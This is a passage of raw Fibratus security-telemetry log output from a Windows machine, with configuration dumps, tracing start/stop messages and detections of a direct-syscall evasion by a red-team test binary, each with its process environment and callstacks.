(x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T19:14:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:14:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:14:31+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T19:14:31+01:00 level=info msg=bootstrapping with pid 24560. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T19:14:31+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 use-template=>true to=>[] content-type=>text/html enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-dns=>false enable-vamap=>true enable-image=>true enable-registry=>true enable-net=>true max-buffers=>36 enable-thread=>true enable-handle=>false enable-fileio=>true min-buffers=>16 flush-interval=>1s enable-threadpool=>true stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-mem=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 log-stdout=>true max-age=>0 max-backups=>15 formatter=>text] + output ......................... [ eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] amqp=>[ durable=>false vhost=>/ enabled=>false tls-insecure-skip-verify=>false timeout=>5s url=>amqp://localhost:5672 exchange=>fibratus exchange-type=>topic routing-key=>fibratus passive=>false delivery-mode=>transient] http=>[ timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false method=>POST endpoints=>[] serializer=>json] elasticsearch=>[ flush-period=>1s healthcheck-interval=>10s sniff=>false timeout=>5s gzip-compression=>false healthcheck-timeout=>5s index-name=>fibratus trace-log=>false bulk-workers=>1 enabled=>false healthcheck=>true template-name=>fibratus servers=>[http://127.0.0.1:9200]]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-registry=>false skip-mmaps=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-allocs=>false excluded-procs=>[] scan-timeout=>10s skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T19:14:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:14:34+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:18:11+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2678333 + Pid: 9588 + Tid: 8220 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:18:11.274878 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ da711fa000, exe➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, name➜ main.exe, pid➜ 9588, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 9588 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7fff66dbfcfa C:\Windows\System32\KernelBase.dll!GetProcAddress|0x7fff66dfe0e4 C:\Windows\System32\KernelBase.dll!TestCreate|0x7fff66dfdf56 C:\Windows\System32\KernelBase.dll!TestCreate|0x7fff66dfbede C:\Windows\System32\KernelBase.dll!GetLocaleInfoHelper|0x7fff66dfdeba C:\Windows\System32\KernelBase.dll!TestCreate|0x7fff66dfd0ed C:\Windows\System32\KernelBase.dll!CreateThreadpoolTimer|0x7fff66dfa9ac C:\Windows\System32\KernelBase.dll!GetLocaleInfoHelper|0x7fff66dfa5c7 C:\Windows\System32\KernelBase.dll!GetLocaleInfoHelper|0x7fff66e2d44e C:\Windows\System32\KernelBase.dll!GetSystemFirmwareTable|0x7fff66e2ddcd C:\Windows\System32\KernelBase.dll!RemovePackageDependency|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6984d4af C:\Windows\System32\ntdll.dll!LdrShutdownProcess|0x7fff6984c67e C:\Windows\System32\ntdll.dll!RtlExitUserProcess|0x7fff66e9a8d0 C:\Windows\System32\KernelBase.dll!CeipIsOptedIn|0x7fff66e3c24d C:\Windows\System32\KernelBase.dll!CtrlRoutine|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T19:18:55+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T19:18:55+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:18:56+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:19:14+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T19:19:14+01:00 level=info msg=bootstrapping with pid 24248. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T19:19:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] enabled=>false use-template=>true content-type=>text/html port=>25] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true max-buffers=>36 enable-fileio=>true enable-net=>true enable-dns=>false enable-image=>true enable-vamap=>true enable-mem=>true enable-handle=>false enable-threadpool=>true enable-audit-api=>true min-buffers=>16 flush-interval=>1s enable-registry=>true stack-enrichment=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-backups=>15 formatter=>text level=>info max-size=>100 log-stdout=>true] + output ......................... [ http=>[ enable-gzip=>false serializer=>json enabled=>false timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] method=>POST] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty] amqp=>[ timeout=>5s tls-insecure-skip-verify=>false vhost=>/ delivery-mode=>transient durable=>false enabled=>false routing-key=>fibratus exchange-type=>topic exchange=>fibratus url=>amqp://localhost:5672 passive=>false] elasticsearch=>[ healthcheck=>true healthcheck-interval=>10s template-name=>fibratus bulk-workers=>1 index-name=>fibratus flush-period=>1s sniff=>false servers=>[http://127.0.0.1:9200] trace-log=>false enabled=>false gzip-compression=>false timeout=>5s healthcheck-timeout=>5s]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false excluded-files=>[] excluded-procs=>[] fastscan=>true skip-files=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-registry=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T19:19:14+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:19:16+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:20:02+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T19:20:02+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:20:03+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:20:21+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T19:20:21+01:00 level=info msg=bootstrapping with pid 24532. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T19:20:21+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] mail=>[ port=>25 to=>[] content-type=>text/html enabled=>false use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ min-buffers=>16 enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-dns=>false buffer-size=>512 enable-threadpool=>true enable-fileio=>true enable-image=>true enable-audit-api=>true stack-enrichment=>true flush-interval=>1s enable-vamap=>true enable-thread=>true enable-registry=>true max-buffers=>36 enable-mem=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-backups=>15 level=>info formatter=>text max-size=>100] + output ......................... [ elasticsearch=>[ gzip-compression=>false healthcheck-interval=>10s sniff=>false flush-period=>1s healthcheck=>true trace-log=>false bulk-workers=>1 template-name=>fibratus servers=>[http://127.0.0.1:9200] index-name=>fibratus healthcheck-timeout=>5s timeout=>5s enabled=>false] amqp=>[ exchange-type=>topic timeout=>5s enabled=>false routing-key=>fibratus passive=>false durable=>false vhost=>/ tls-insecure-skip-verify=>false exchange=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient] http=>[ enabled=>false serializer=>json endpoints=>[] tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s method=>POST] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... 